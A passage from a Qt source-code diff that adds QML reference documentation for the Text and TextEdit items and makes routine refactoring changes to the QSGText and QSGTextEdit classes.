+ \qmlproperty enumeration QtQuick2::Text::style
+
+ Set an additional text style.
+
+ Supported text styles are:
+ \list
+ \o Text.Normal - the default
+ \o Text.Outline
+ \o Text.Raised
+ \o Text.Sunken
+ \endlist
+
+ \qml
+ Row {
+ Text { font.pointSize: 24; text: "Normal" }
+ Text { font.pointSize: 24; text: "Raised"; style: Text.Raised; styleColor: "#AAAAAA" }
+ Text { font.pointSize: 24; text: "Outline";style: Text.Outline; styleColor: "red" }
+ Text { font.pointSize: 24; text: "Sunken"; style: Text.Sunken; styleColor: "#AAAAAA" }
+ }
+ \endqml
+ \image declarative-textstyle.png
+*/
QSGText::TextStyle QSGText::style() const
{
Q_D(const QSGText);
@@ -801,6 +1049,21 @@ void QSGText::setStyle(QSGText::TextStyle style)
emit styleChanged(d->style);
}
+/*!
+ \qmlproperty color QtQuick2::Text::styleColor
+
+ Defines the secondary color used by text styles.
+
+ \c styleColor is used as the outline color for outlined text, and as the
+ shadow color for raised or sunken text. If no style has been set, it is not
+ used at all.
+
+ \qml
+ Text { font.pointSize: 18; text: "hello"; style: Text.Raised; styleColor: "gray" }
+ \endqml
+
+ \sa style
+ */
QColor QSGText::styleColor() const
{
Q_D(const QSGText);
@@ -818,6 +1081,30 @@ void QSGText::setStyleColor(const QColor &color)
emit styleColorChanged(d->styleColor);
}
+/*!
+ \qmlproperty enumeration QtQuick2::Text::horizontalAlignment
+ \qmlproperty enumeration QtQuick2::Text::verticalAlignment
+ \qmlproperty enumeration QtQuick2::Text::effectiveHorizontalAlignment
+
+ Sets the horizontal and vertical alignment of the text within the Text items
+ width and height. By default, the text is vertically aligned to the top. Horizontal
+ alignment follows the natural alignment of the text, for example text that is read
+ from left to right will be aligned to the left.
+
+ The valid values for \c horizontalAlignment are \c Text.AlignLeft, \c Text.AlignRight, \c Text.AlignHCenter and
+ \c Text.AlignJustify. The valid values for \c verticalAlignment are \c Text.AlignTop, \c Text.AlignBottom
+ and \c Text.AlignVCenter.
+
+ Note that for a single line of text, the size of the text is the area of the text. In this common case,
+ all alignments are equivalent. If you want the text to be, say, centered in its parent, then you will
+ need to either modify the Item::anchors, or set horizontalAlignment to Text.AlignHCenter and bind the width to
+ that of the parent.
+
+ When using the attached property LayoutMirroring::enabled to mirror application
+ layouts, the horizontal alignment of text will also be mirrored. However, the property
+ \c horizontalAlignment will remain unchanged. To query the effective horizontal alignment
+ of Text, use the read-only property \c effectiveHorizontalAlignment.
+*/
QSGText::HAlignment QSGText::hAlign() const
{
Q_D(const QSGText);
@@ -917,6 +1204,19 @@ void QSGText::setVAlign(VAlignment align)
emit verticalAlignmentChanged(align);
}
+/*!
+ \qmlproperty enumeration QtQuick2::Text::wrapMode
+
+ Set this property to wrap the text to the Text item's width. The text will only
+ wrap if an explicit width has been set. wrapMode can be one of:
+
+ \list
+ \o Text.NoWrap (default) - no wrapping will be performed. If the text contains insufficient newlines, then \l paintedWidth will exceed a set width.
+ \o Text.WordWrap - wrapping is done on word boundaries only. If a word is too long, \l paintedWidth will exceed a set width.
+ \o Text.WrapAnywhere - wrapping is done at any point on a line, even if it occurs in the middle of a word.
+ \o Text.Wrap - if possible, wrapping occurs at a word boundary; otherwise it will occur at the appropriate point on the line, even in the middle of a word.
+ \endlist
+*/
QSGText::WrapMode QSGText::wrapMode() const
{
Q_D(const QSGText);
@@ -935,18 +1235,48 @@ void QSGText::setWrapMode(WrapMode mode)
emit wrapModeChanged();
}
+/*!
+ \qmlproperty int QtQuick2::Text::lineCount
+
+ Returns the number of lines visible in the text item.
+
+ This property is not supported for rich text.
+
+ \sa maximumLineCount
+*/
int QSGText::lineCount() const
{
Q_D(const QSGText);
return d->lineCount;
}
+/*!
+ \qmlproperty bool QtQuick2::Text::truncated
+
+ Returns true if the text has been truncated due to \l maximumLineCount
+ or \l elide.
+
+ This property is not supported for rich text.
+
+ \sa maximumLineCount, elide
+*/
bool QSGText::truncated() const
{
Q_D(const QSGText);
return d->truncated;
}
+/*!
+ \qmlproperty int QtQuick2::Text::maximumLineCount
+
+ Set this property to limit the number of lines that the text item will show.
+ If elide is set to Text.ElideRight, the text will be elided appropriately.
+ By default, this is the value of the largest possible integer.
+
+ This property is not supported for rich text.
+
+ \sa lineCount, elide
+*/
int QSGText::maximumLineCount() const
{
Q_D(const QSGText);
@@ -976,6 +1306,61 @@ void QSGText::resetMaximumLineCount()
}
}
+/*!
+ \qmlproperty enumeration QtQuick2::Text::textFormat
+
+ The way the text property should be displayed.
+
+ Supported text formats are:
+
+ \list
+ \o Text.AutoText (default)
+ \o Text.PlainText
+ \o Text.RichText
+ \o Text.StyledText
+ \endlist
+
+ If the text format is \c Text.AutoText the text element
+ will automatically determine whether the text should be treated as
+ rich text. This determination is made using Qt::mightBeRichText().
+
+ Text.StyledText is an optimized format supporting some basic text
+ styling markup, in the style of html 3.2:
+
+ \code
+ <font size="4" color="#ff0000">font size and color</font>
+ <b>bold</b>
+ <i>italic</i>
+ <br>
+ &gt; &lt; &amp;
+ \endcode
+
+ \c Text.StyledText parser is strict, requiring tags to be correctly nested.
+
+ \table
+ \row
+ \o
+ \qml
+Column {
+ Text {
+ font.pointSize: 24
+ text: "<b>Hello</b> <i>World!</i>"
+ }
+ Text {
+ font.pointSize: 24
+ textFormat: Text.RichText
+ text: "<b>Hello</b> <i>World!</i>"
+ }
+ Text {
+ font.pointSize: 24
+ textFormat: Text.PlainText
+ text: "<b>Hello</b> <i>World!</i>"
+ }
+}
+ \endqml
+ \o \image declarative-textformat.png
+ \endtable
+*/
QSGText::TextFormat QSGText::textFormat() const
{
Q_D(const QSGText);
@@ -1002,6 +1387,31 @@ void QSGText::setTextFormat(TextFormat format)
emit textFormatChanged(d->format);
}
+/*!
+ \qmlproperty enumeration QtQuick2::Text::elide
+
+ Set this property to elide parts of the text fit to the Text item's width.
+ The text will only elide if an explicit width has been set.
+
+ This property cannot be used with rich text.
+
+ Eliding can be:
+ \list
+ \o Text.ElideNone - the default
+ \o Text.ElideLeft
+ \o Text.ElideMiddle
+ \o Text.ElideRight
+ \endlist
+
+ If this property is set to Text.ElideRight, it can be used with multiline
+ text. The text will only elide if maximumLineCount has been set.
+
+ If the text is a multi-length string, and the mode is not \c Text.ElideNone,
+ the first string that fits will be used, otherwise the last will be elided.
+
+ Multi-length strings are ordered from longest to shortest, separated by the
+ Unicode "String Terminator" character \c U009C (write this in QML with \c{"\u009C"} or \c{"\x9C"}).
+*/
QSGText::TextElideMode QSGText::elideMode() const
{
Q_D(const QSGText);
@@ -1079,11 +1489,13 @@ QSGNode *QSGText::updatePaintNode(QSGNode *oldNode, UpdatePaintNodeData *data)
QRectF bounds = boundingRect();
// We need to make sure the layout is done in the current thread
+#if defined(Q_OS_MAC)
if (d->layoutThread != QThread::currentThread())
d->updateLayout();
+#endif
// XXX todo - some styled text can be done by the QSGTextNode
- if (d->richTextAsImage || d->cacheAllTextAsImage || (!QSGDistanceFieldGlyphCache::distanceFieldEnabled() && d->style != Normal)) {
+ if (d->richTextAsImage || d->cacheAllTextAsImage || (qmlDisableDistanceField() && d->style != Normal)) {
bool wasDirty = d->textureImageCacheDirty;
d->textureImageCacheDirty = false;
@@ -1156,18 +1568,39 @@ bool QSGText::event(QEvent *e)
}
}
+/*!
+ \qmlproperty real QtQuick2::Text::paintedWidth
+
+ Returns the width of the text, including width past the width
+ which is covered due to insufficient wrapping if WrapMode is set.
+*/
qreal QSGText::paintedWidth() const
{
Q_D(const QSGText);
return d->paintedSize.width();
}
+/*!
+ \qmlproperty real QtQuick2::Text::paintedHeight
+
+ Returns the height of the text, including height past the height
+ which is covered due to there being more text than fits in the set height.
+*/
qreal QSGText::paintedHeight() const
{
Q_D(const QSGText);
return d->paintedSize.height();
}
+/*!
+ \qmlproperty real QtQuick2::Text::lineHeight
+
+ Sets the line height for the text.
+ The value can be in pixels or a multiplier depending on lineHeightMode.
+
+ The default value is a multiplier of 1.0.
+ The line height must be a positive value.
+*/
qreal QSGText::lineHeight() const
{
Q_D(const QSGText);
@@ -1186,6 +1619,18 @@ void QSGText::setLineHeight(qreal lineHeight)
emit lineHeightChanged(lineHeight);
}
+/*!
+ \qmlproperty enumeration QtQuick2::Text::lineHeightMode
+
+ This property determines how the line height is specified.
+ The possible values are:
+
+ \list
+ \o Text.ProportionalHeight (default) - this sets the spacing proportional to the
+ line (as a multiplier). For example, set to 2 for double spacing.
+ \o Text.FixedHeight - this sets the line height to a fixed line height (in pixels).
+ \endlist
+*/
QSGText::LineHeightMode QSGText::lineHeightMode() const
{
Q_D(const QSGText);
diff --git a/src/declarative/items/qsgtext_p_p.h b/src/declarative/items/qsgtext_p_p.h
index 050e3984ab..40c986142c 100644
--- a/src/declarative/items/qsgtext_p_p.h
+++ b/src/declarative/items/qsgtext_p_p.h
@@ -134,7 +134,6 @@ public:
QPixmap textLayoutImage(bool drawStyle);
void drawTextLayout(QPainter *p, const QPointF &pos, bool drawStyle);
QTextLayout layout;
- QThread *layoutThread;
static QPixmap drawOutline(const QPixmap &source, const QPixmap &styleSource);
static QPixmap drawOutline(const QPixmap &source, const QPixmap &styleSource, int yOffset);
@@ -146,9 +145,13 @@ public:
enum NodeType {
NodeIsNull,
NodeIsTexture,
- NodeIsText,
+ NodeIsText
};
NodeType nodeType;
+
+#if defined(Q_OS_MAC)
+ QThread *layoutThread;
+#endif
};
QT_END_NAMESPACE
diff --git a/src/declarative/items/qsgtextedit.cpp b/src/declarative/items/qsgtextedit.cpp
index 4ba5bec5e4..1c0ed62f0d 100644
--- a/src/declarative/items/qsgtextedit.cpp
+++ b/src/declarative/items/qsgtextedit.cpp
@@ -43,6 +43,8 @@
#include "qsgtextedit_p_p.h"
#include "qsgevents_p_p.h"
#include "qsgcanvas.h"
+#include "qsgtextnode_p.h"
+#include "qsgsimplerectnode.h"
#include <QtDeclarative/qdeclarativeinfo.h>
#include <QtWidgets/qapplication.h>
@@ -55,13 +57,68 @@
#include <private/qtextcontrol_p.h>
#include <private/qtextengine_p.h>
#include <private/qwidget_p.h>
+#include <private/qsgdistancefieldglyphcache_p.h>
+#include <private/qsgtexture_p.h>
+#include <private/qsgadaptationlayer_p.h>
QT_BEGIN_NAMESPACE
+DEFINE_BOOL_CONFIG_OPTION(qmlDisableDistanceField, QML_DISABLE_DISTANCEFIELD)
+
QWidgetPrivate *qt_widget_private(QWidget *widget);
+/*!
+ \qmlclass TextEdit QSGTextEdit
+ \inqmlmodule QtQuick 2
+ \ingroup qml-basic-visual-elements
+ \brief The TextEdit item displays multiple lines of editable formatted text.
+ \inherits Item
+
+ The TextEdit item displays a block of editable, formatted text.
+
+ It can display both plain and rich text. For example:
+
+ \qml
+TextEdit {
+ width: 240
+ text: "<b>Hello</b> <i>World!</i>"
+ font.family: "Helvetica"
+ font.pointSize: 20
+ color: "blue"
+ focus: true
+}
+ \endqml
+
+ \image declarative-textedit.gif
+
+ Setting \l {Item::focus}{focus} to \c true enables the TextEdit item to receive keyboard focus.
+
+ Note that the TextEdit does not implement scrolling, following the cursor, or other behaviors specific
+ to a look-and-feel. For example, to add flickable scrolling that follows the cursor:
+ \snippet snippets/declarative/texteditor.qml 0
+
+ A particular look-and-feel might use smooth scrolling (eg. using SmoothedFollow), might have a visible
+ scrollbar, or a scrollbar that fades in to show location, etc.
+
+ Clipboard support is provided by the cut(), copy(), and paste() functions, and the selection can
+ be handled in a traditional "mouse" mechanism by setting selectByMouse, or handled completely
+ from QML by manipulating selectionStart and selectionEnd, or using selectAll() or selectWord().
+
+ You can translate between cursor positions (characters from the start of the document) and pixel
+ points using positionAt() and positionToRectangle().
+
+ \sa Text, TextInput, {declarative/text/textselection}{Text Selection example}
+*/
+
+/*!
+ \qmlsignal QtQuick2::TextEdit::onLinkActivated(string link)
+
+ This handler is called when the user clicks on a link embedded in the text.
+ The link must be in rich text or HTML format and the
+ \a link string provides access to the particular link.
+*/
QSGTextEdit::QSGTextEdit(QSGItem *parent)
-: QSGImplicitSizePaintedItem(*(new QSGTextEditPrivate), parent)
+: QSGImplicitSizeItem(*(new QSGTextEditPrivate), parent)
{
Q_D(QSGTextEdit);
d->init();
@@ -79,6 +136,119 @@ QString QSGTextEdit::text() const
return d->document->toPlainText();
}
+/*!
+ \qmlproperty string QtQuick2::TextEdit::font.family
+
+ Sets the family name of the font.
+
+ The family name is case insensitive and may optionally include a foundry name, e.g. "Helvetica [Cronyx]".
+ If the family is available from more than one foundry and the foundry isn't specified, an arbitrary foundry is chosen.
+ If the family isn't available a family will be set using the font matching algorithm.
+*/
+
+/*!
+ \qmlproperty bool QtQuick2::TextEdit::font.bold
+
+ Sets whether the font weight is bold.
+*/
+
+/*!
+ \qmlproperty enumeration QtQuick2::TextEdit::font.weight
+
+ Sets the font's weight.
+
+ The weight can be one of:
+ \list
+ \o Font.Light
+ \o Font.Normal - the default
+ \o Font.DemiBold
+ \o Font.Bold
+ \o Font.Black
+ \endlist
+
+ \qml
+ TextEdit { text: "Hello"; font.weight: Font.DemiBold }
+ \endqml
+*/
+
+/*!
+ \qmlproperty bool QtQuick2::TextEdit::font.italic
+
+ Sets whether the font has an italic style.
+*/
+
+/*!
+ \qmlproperty bool QtQuick2::TextEdit::font.underline
+
+ Sets whether the text is underlined.
+*/
+
+/*!
+ \qmlproperty bool QtQuick2::TextEdit::font.strikeout
+
+ Sets whether the font has a strikeout style.
+*/
+
+/*!
+ \qmlproperty real QtQuick2::TextEdit::font.pointSize
+
+ Sets the font size in points. The point size must be greater than zero.
+*/
+
+/*!
+ \qmlproperty int QtQuick2::TextEdit::font.pixelSize
+
+ Sets the font size in pixels.
+
+ Using this function makes the font device dependent. Use
+ \l{TextEdit::font.pointSize} to set the size of the font in a
+ device independent manner.
+*/
+
+/*!
+ \qmlproperty real QtQuick2::TextEdit::font.letterSpacing
+
+ Sets the letter spacing for the font.
+
+ Letter spacing changes the default spacing between individual letters in the font.
+ A positive value increases the letter spacing by the corresponding pixels; a negative value decreases the spacing.
+*/
+
+/*!
+ \qmlproperty real QtQuick2::TextEdit::font.wordSpacing
+
+ Sets the word spacing for the font.
+
+ Word spacing changes the default spacing between individual words.
+ A positive value increases the word spacing by a corresponding amount of pixels,
+ while a negative value decreases the inter-word spacing accordingly.
+*/
+
+/*!
+ \qmlproperty enumeration QtQuick2::TextEdit::font.capitalization
+
+ Sets the capitalization for the text.
+
+ \list
+ \o Font.MixedCase - This is the normal text rendering option where no capitalization change is applied.
+ \o Font.AllUppercase - This alters the text to be rendered in all uppercase type.
+ \o Font.AllLowercase - This alters the text to be rendered in all lowercase type.
+ \o Font.SmallCaps - This alters the text to be rendered in small-caps type.
+ \o Font.Capitalize - This alters the text to be rendered with the first character of each word as an uppercase character.
+ \endlist
+
+ \qml
+ TextEdit { text: "Hello"; font.capitalization: Font.AllLowercase }
+ \endqml
+*/
+
+/*!
+ \qmlproperty string QtQuick2::TextEdit::text
+
+ The text to display. If the text format is AutoText the text edit will
+ automatically determine whether the text should be treated as
+ rich text. This determination is made using Qt::mightBeRichText().
+*/
void QSGTextEdit::setText(const QString &text)
{
Q_D(QSGTextEdit);
@@ -92,12 +262,52 @@ void QSGTextEdit::setText(const QString &text)
#else
d->control->setPlainText(text);
#endif
+ d->isComplexRichText = QSGTextNode::isComplexRichText(d->document);
} else {
d->control->setPlainText(text);
}
q_textChanged();
}
+/*!
+ \qmlproperty enumeration QtQuick2::TextEdit::textFormat
+
+ The way the text property should be displayed.
+
+ \list
+ \o TextEdit.AutoText
+ \o TextEdit.PlainText
+ \o TextEdit.RichText
+ \endlist
+
+ The default is TextEdit.AutoText. If the text format is TextEdit.AutoText the text edit
+ will automatically determine whether the text should be treated as
+ rich text. This determination is made using Qt::mightBeRichText().
+
+ \table
+ \row
+ \o
+ \qml
+Column {
+ TextEdit {
+ font.pointSize: 24
+ text: "<b>Hello</b> <i>World!</i>"
+ }
+ TextEdit {
+ font.pointSize: 24
+ textFormat: TextEdit.RichText
+ text: "<b>Hello</b> <i>World!</i>"
+ }
+ TextEdit {
+ font.pointSize: 24
+ textFormat: TextEdit.PlainText
+ text: "<b>Hello</b> <i>World!</i>"
+ }
+}
+ \endqml
+ \o \image declarative-textformat.png
+ \endtable
+*/
QSGTextEdit::TextFormat QSGTextEdit::textFormat() const
{
Q_D(const QSGTextEdit);
@@ -122,6 +332,7 @@ void QSGTextEdit::setTextFormat(TextFormat format)
d->control->setPlainText(d->text);
#endif
updateSize();
+ d->isComplexRichText = QSGTextNode::isComplexRichText(d->document);
}
d->format = format;
d->control->setAcceptRichText(d->format != PlainText);
@@ -156,11 +367,26 @@ void QSGTextEdit::setFont(const QFont &font)
moveCursorDelegate();
}
updateSize();
- update();
+ updateDocument();
}
emit fontChanged(d->sourceFont);
}
+/*!
+ \qmlproperty color QtQuick2::TextEdit::color
+
+ The text color.
+
+ \qml
+ // green text using hexadecimal notation
+ TextEdit { color: "#00FF00" }
+ \endqml
+
+ \qml
+ // steelblue text using SVG color name
+ TextEdit { color: "steelblue" }
+ \endqml
+*/
QColor QSGTextEdit::color() const
{
Q_D(const QSGTextEdit);
@@ -177,10 +403,15 @@ void QSGTextEdit::setColor(const QColor &color)
QPalette pal = d->control->palette();
pal.setColor(QPalette::Text, color);
d->control->setPalette(pal);
- update();
+ updateDocument();
emit colorChanged(d->color);
}
+/*!
+ \qmlproperty color QtQuick2::TextEdit::selectionColor
+
+ The text highlight color, used behind selections.
+*/
QColor QSGTextEdit::selectionColor() const
{
Q_D(const QSGTextEdit);
@@ -197,10 +428,15 @@ void QSGTextEdit::setSelectionColor(const QColor &color)
QPalette pal = d->control->palette();
pal.setColor(QPalette::Highlight, color);
d->control->setPalette(pal);
- update();
+ updateDocument();
emit selectionColorChanged(d->selectionColor);
}
+/*!
+ \qmlproperty color QtQuick2::TextEdit::selectedTextColor
+
+ The selected text color, used in selections.
+*/
QColor QSGTextEdit::selectedTextColor() const
{
Q_D(const QSGTextEdit);
@@ -217,10 +453,40 @@ void QSGTextEdit::setSelectedTextColor(const QColor &color)
QPalette pal = d->control->palette();
pal.setColor(QPalette::HighlightedText, color);
d->control->setPalette(pal);
- update();
+ updateDocument();
emit selectedTextColorChanged(d->selectedTextColor);
}
+/*!
+ \qmlproperty enumeration QtQuick2::TextEdit::horizontalAlignment
+ \qmlproperty enumeration QtQuick2::TextEdit::verticalAlignment
+ \qmlproperty enumeration QtQuick2::TextEdit::effectiveHorizontalAlignment
+
+ Sets the horizontal and vertical alignment of the text within the TextEdit item's
+ width and height. By default, the text alignment follows the natural alignment
+ of the text, for example text that is read from left to right will be aligned to
+ the left.
+
+ Valid values for \c horizontalAlignment are:
+ \list
+ \o TextEdit.AlignLeft (default)
+ \o TextEdit.AlignRight
+ \o TextEdit.AlignHCenter
+ \o TextEdit.AlignJustify
+ \endlist
+
+ Valid values for \c verticalAlignment are:
+ \list
+ \o TextEdit.AlignTop (default)
+ \o TextEdit.AlignBottom
+ \o TextEdit.AlignVCenter
+ \endlist
+
+ When using the attached property LayoutMirroring::enabled to mirror application
+ layouts, the horizontal alignment of text will also be mirrored. However, the property
+ \c horizontalAlignment will remain unchanged. To query the effective horizontal alignment
+ of TextEdit, use the read-only property \c effectiveHorizontalAlignment.
+*/
QSGTextEdit::HAlignment QSGTextEdit::hAlign() const
{
Q_D(const QSGTextEdit);
@@ -320,7 +586,21 @@ void QSGTextEdit::setVAlign(QSGTextEdit::VAlignment alignment)
moveCursorDelegate();
emit verticalAlignmentChanged(d->vAlign);
}
+/*!
+ \qmlproperty enumeration QtQuick2::TextEdit::wrapMode
+
+ Set this property to wrap the text to the TextEdit item's width.
+ The text will only wrap if an explicit width has been set.
+
+ \list
+ \o TextEdit.NoWrap - no wrapping will be performed. If the text contains insufficient newlines, then implicitWidth will exceed a set width.
+ \o TextEdit.WordWrap - wrapping is done on word boundaries only. If a word is too long, implicitWidth will exceed a set width.
+ \o TextEdit.WrapAnywhere - wrapping is done at any point on a line, even if it occurs in the middle of a word.
+ \o TextEdit.Wrap - if possible, wrapping occurs at a word boundary; otherwise it will occur at the appropriate point on the line, even in the middle of a word.
+ \endlist
+ The default is TextEdit.NoWrap. If you set a width, consider using TextEdit.Wrap.
+*/
QSGTextEdit::WrapMode QSGTextEdit::wrapMode() const
{
Q_D(const QSGTextEdit);
@@ -338,24 +618,48 @@ void QSGTextEdit::setWrapMode(WrapMode mode)
emit wrapModeChanged();
}
+/*!
+ \qmlproperty int QtQuick2::TextEdit::lineCount
+
+ Returns the total number of lines in the textEdit item.
+*/
int QSGTextEdit::lineCount() const
{
Q_D(const QSGTextEdit);
return d->lineCount;
}
+/*!
+ \qmlproperty real QtQuick2::TextEdit::paintedWidth
+
+ Returns the width of the text, including the width past the width
+ which is covered due to insufficient wrapping if \l wrapMode is set.
+*/
qreal QSGTextEdit::paintedWidth() const
{
Q_D(const QSGTextEdit);
return d->paintedSize.width();
}
+/*!
+ \qmlproperty real QtQuick2::TextEdit::paintedHeight
+
+ Returns the height of the text, including the height past the height
+ that is covered if the text does not fit within the set height.
+*/
qreal QSGTextEdit::paintedHeight() const
{
Q_D(const QSGTextEdit);
return d->paintedSize.height();
}
+/*!
+ \qmlmethod rectangle QtQuick2::TextEdit::positionToRectangle(position)
+
+ Returns the rectangle at the given \a position in the text. The x, y,
+ and height properties correspond to the cursor that would describe
+ that position.
+*/
QRectF QSGTextEdit::positionToRectangle(int pos) const
{
Q_D(const QSGTextEdit);
@@ -365,6 +669,14 @@ QRectF QSGTextEdit::positionToRectangle(int pos) const
}
+/*!
+ \qmlmethod int QtQuick2::TextEdit::positionAt(int x, int y)
+
+ Returns the text position closest to pixel position (\a x, \a y).
+
+ Position 0 is before the first character, position 1 is after the first character
+ but before the second, and so on until position \l {text}.length, which is after all characters.
+*/
int QSGTextEdit::positionAt(int x, int y) const
{
Q_D(const QSGTextEdit);
@@ -388,6 +700,43 @@ int QSGTextEdit::positionAt(int x, int y) const
return r;
}
+/*!
+ \qmlmethod void QtQuick2::TextEdit::moveCursorSelection(int position, SelectionMode mode = TextEdit.SelectCharacters)
+
+ Moves the cursor to \a position and updates the selection according to the optional \a mode
+ parameter. (To only move the cursor, set the \l cursorPosition property.)
+
+ When this method is called it additionally sets either the
+ selectionStart or the selectionEnd (whichever was at the previous cursor position)
+ to the specified position. This allows you to easily extend and contract the selected
+ text range.
+
+ The selection mode specifies whether the selection is updated on a per character or a per word
+ basis. If not specified the selection mode will default to TextEdit.SelectCharacters.
+
+ \list
+ \o TextEdit.SelectCharacters - Sets either the selectionStart or selectionEnd (whichever was at
+ the previous cursor position) to the specified position.
+ \o TextEdit.SelectWords - Sets the selectionStart and selectionEnd to include all
+ words between the specified postion and the previous cursor position. Words partially in the
+ range are included.
+ \endlist
+
+ For example, take this sequence of calls:
+
+ \code
+ cursorPosition = 5
+ moveCursorSelection(9, TextEdit.SelectCharacters)
+ moveCursorSelection(7, TextEdit.SelectCharacters)
+ \endcode
+
+ This moves the cursor to position 5, extend the selection end from 5 to 9
+ and then retract the selection end from 9 to 7, leaving the text from position 5 to 7
+ selected (the 6th and 7th characters).
+
+ The same sequence with TextEdit.SelectWords will extend the selection start to a word boundary
+ before or on position 5 and extend the selection end to a word boundary on or past position 9.
+*/
void QSGTextEdit::moveCursorSelection(int pos)
{
//Note that this is the same as setCursorPosition but with the KeepAnchor flag set
@@ -448,6 +797,13 @@ void QSGTextEdit::moveCursorSelection(int pos, SelectionMode mode)
d->control->setTextCursor(cursor);
}
+/*!
+ \qmlproperty bool QtQuick2::TextEdit::cursorVisible
+ If true the text edit shows a cursor.
+
+ This property is set and unset when the text edit gets active focus, but it can also
+ be set directly (useful, for example, if a KeyProxy might forward keys to it).
+*/
bool QSGTextEdit::isCursorVisible() const
{
Q_D(const QSGTextEdit);
@@ -467,6 +823,10 @@ void QSGTextEdit::setCursorVisible(bool on)
emit cursorVisibleChanged(d->cursorVisible);
}
+/*!
+ \qmlproperty int QtQuick2::TextEdit::cursorPosition
+ The position of the cursor in the TextEdit.
+*/
int QSGTextEdit::cursorPosition() const
{
Q_D(const QSGTextEdit);
@@ -485,6 +845,19 @@ void QSGTextEdit::setCursorPosition(int pos)
d->control->setTextCursor(cursor);
}
+/*!
+ \qmlproperty Component QtQuick2::TextEdit::cursorDelegate
+ The delegate for the cursor in the TextEdit.
+
+ If you set a cursorDelegate for a TextEdit, this delegate will be used for
+ drawing the cursor instead of the standard cursor. An instance of the
+ delegate will be created and managed by the text edit when a cursor is
+ needed, and the x and y properties of delegate instance will be set so as
+ to be one pixel before the top left of the current character.
+
+ Note that the root item of the delegate component must be a QDeclarativeItem or
+ QDeclarativeItem derived item.
+*/
QDeclarativeComponent* QSGTextEdit::cursorDelegate() const
{
Q_D(const QSGTextEdit);
@@ -497,7 +870,7 @@ void QSGTextEdit::setCursorDelegate(QDeclarativeComponent* c)
if(d->cursorComponent){
if(d->cursor){
d->control->setCursorWidth(-1);
- update(cursorRectangle());
+ updateCursor();
delete d->cursor;
d->cursor = 0;
}
@@ -522,7 +895,7 @@ void QSGTextEdit::loadCursorDelegate()
d->cursor = qobject_cast<QSGItem*>(d->cursorComponent->create(qmlContext(this)));
if(d->cursor){
d->control->setCursorWidth(0);
- update(cursorRectangle());
+ updateCursor();
QDeclarative_setParent_noEvent(d->cursor, this);
d->cursor->setParentItem(this);
d->cursor->setHeight(QFontMetrics(d->font).height());
@@ -532,24 +905,64 @@ void QSGTextEdit::loadCursorDelegate()
}
}
+/*!
+ \qmlproperty int QtQuick2::TextEdit::selectionStart
+
+ The cursor position before the first character in the current selection.
+
+ This property is read-only. To change the selection, use select(start,end),
+ selectAll(), or selectWord().
+
+ \sa selectionEnd, cursorPosition, selectedText
+*/
int QSGTextEdit::selectionStart() const
{
Q_D(const QSGTextEdit);
return d->control->textCursor().selectionStart();
}
+/*!
+ \qmlproperty int QtQuick2::TextEdit::selectionEnd
+
+ The cursor position after the last character in the current selection.
+
+ This property is read-only. To change the selection, use select(start,end),
+ selectAll(), or selectWord().
+
+ \sa selectionStart, cursorPosition, selectedText
+*/
int QSGTextEdit::selectionEnd() const
{
Q_D(const QSGTextEdit);
return d->control->textCursor().selectionEnd();
}
+/*!
+ \qmlproperty string QtQuick2::TextEdit::selectedText
+
+ This read-only property provides the text currently selected in the
+ text edit.
+
+ It is equivalent to the following snippet, but is faster and easier
+ to use.
+ \code
+ //myTextEdit is the id of the TextEdit
+ myTextEdit.text.toString().substring(myTextEdit.selectionStart,
+ myTextEdit.selectionEnd);
+ \endcode
+*/
QString QSGTextEdit::selectedText() const
{
Q_D(const QSGTextEdit);
return d->control->textCursor().selectedText();
}
+/*!
+ \qmlproperty bool QtQuick2::TextEdit::activeFocusOnPress
+
+ Whether the TextEdit should gain active focus on a mouse press. By default this is
+ set to true.
+*/
bool QSGTextEdit::focusOnPress() const
{
Q_D(const QSGTextEdit);
@@ -565,6 +978,12 @@ void QSGTextEdit::setFocusOnPress(bool on)
emit activeFocusOnPressChanged(d->focusOnPress);
}
+/*!
+ \qmlproperty bool QtQuick2::TextEdit::persistentSelection
+
+ Whether the TextEdit should keep the selection visible when it loses active focus to another
+ item in the scene. By default this is set to true;
+*/
bool QSGTextEdit::persistentSelection() const
{
Q_D(const QSGTextEdit);
@@ -580,6 +999,11 @@ void QSGTextEdit::setPersistentSelection(bool on)
emit persistentSelectionChanged(d->persistentSelection);
}
+/*
+ \qmlproperty real QtQuick2::TextEdit::textMargin
+
+ The margin, in pixels, around the text in the TextEdit.
+*/
qreal QSGTextEdit::textMargin() const
{
Q_D(const QSGTextEdit);
@@ -601,21 +1025,40 @@ void QSGTextEdit::geometryChanged(const QRectF &newGeometry,
{
if (newGeometry.width() != oldGeometry.width())
updateSize();
- QSGPaintedItem::geometryChanged(newGeometry, oldGeometry);
+ QSGImplicitSizeItem::geometryChanged(newGeometry, oldGeometry);
}
+/*!
+ Ensures any delayed caching or data loading the class
+ needs to performed is complete.
+*/
void QSGTextEdit::componentComplete()
{
Q_D(QSGTextEdit);
- QSGPaintedItem::componentComplete();
+ QSGImplicitSizeItem::componentComplete();
+
+ if (d->richText) {
+ d->isComplexRichText = QSGTextNode::isComplexRichText(d->document);
+ }
+
if (d->dirty) {
d->determineHorizontalAlignment();
d->updateDefaultTextOption();
updateSize();
d->dirty = false;
}
+
}
+/*!
+ \qmlproperty bool QtQuick2::TextEdit::selectByMouse
+ Defaults to false.
+
+ If true, the user can use the mouse to select text in some
+ platform-specific way. Note that for some platforms this may
+ not be an appropriate interaction (eg. may conflict with how
+ the text needs to behave inside a Flickable.
+*/
bool QSGTextEdit::selectByMouse() const
{
Q_D(const QSGTextEdit);
@@ -636,6 +1079,18 @@ void QSGTextEdit::setSelectByMouse(bool on)
}
}
+/*!
+ \qmlproperty enum QtQuick2::TextEdit::mouseSelectionMode
+
+ Specifies how text should be selected using a mouse.
+
+ \list
+ \o TextEdit.SelectCharacters - The selection is updated with individual characters. (Default)
+ \o TextEdit.SelectWords - The selection is updated with whole words.
+ \endlist
+
+ This property only applies when \l selectByMouse is true.
+*/
QSGTextEdit::SelectionMode QSGTextEdit::mouseSelectionMode() const
{
Q_D(const QSGTextEdit);
@@ -652,6 +1107,14 @@ void QSGTextEdit::setMouseSelectionMode(SelectionMode mode)
}
}
+/*!
+ \qmlproperty bool QtQuick2::TextEdit::readOnly
+
+ Whether the user can interact with the TextEdit item. If this
+ property is set to true the text cannot be edited by user interaction.
+
+ By default this property is false.
+*/
void QSGTextEdit::setReadOnly(bool r)
{
Q_D(QSGTextEdit);
@@ -677,18 +1140,32 @@ bool QSGTextEdit::isReadOnly() const
return !(d->control->textInteractionFlags() & Qt::TextEditable);
}
+/*!
+ Sets how the text edit should interact with user input to the given
+ \a flags.
+*/
